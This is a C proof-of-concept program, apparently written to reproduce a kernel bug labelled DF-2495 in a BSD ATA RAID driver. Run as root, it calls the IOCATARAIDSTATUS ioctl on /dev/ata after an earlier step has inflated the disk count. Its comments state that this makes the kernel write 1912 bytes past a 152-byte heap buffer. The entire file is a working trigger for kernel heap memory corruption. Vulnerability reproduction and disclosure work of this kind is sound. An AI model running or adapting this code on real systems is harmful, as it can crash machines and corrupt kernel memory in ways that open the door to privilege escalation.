/*
 * df2495_status.c -- trigger the REAL kernel's IOCATARAIDSTATUS path
 * (root, /dev/ata) after DF-2495's inflated rdp->total_disks is present
 * in the real ata_raid_arrays[0].  Mirrors sys/kern/sys_generic.c: the
 * generic ioctl layer copyin()s the 152-byte struct into a kmalloc()d
 * buffer (152 > STK_PARAMS 128), the kernel writes
 * status->disks[0..total_disks-1], and 1912 bytes land past it.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/nata.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	struct ata_ioc_raid_status st;
	int fd, error;

	memset(&st, 0, sizeof(st));
	st.lun = (argc > 1) ? atoi(argv[1]) : 0;

	fd = open("/dev/ata", O_RDONLY);
	if (fd < 0) {
		perror("open /dev/ata");
		return (1);
	}
	printf("IOCATARAIDSTATUS lun=%d sizeof(status)=%zu bytes "
	       "(kernel kmallocs 152 -> writes %zu bytes for total_disks=255)\\n",
	       st.lun, sizeof(st),
	       (size_t)(24 + 255 * 8));
	error = ioctl(fd, IOCATARAIDSTATUS, &st);
	printf("ioctl returned %d (errno=%d) total_disks=%u\\n",
	       error, error == 0 ? 0 : errno, st.total_disks);
	close(fd);
	return (0);
}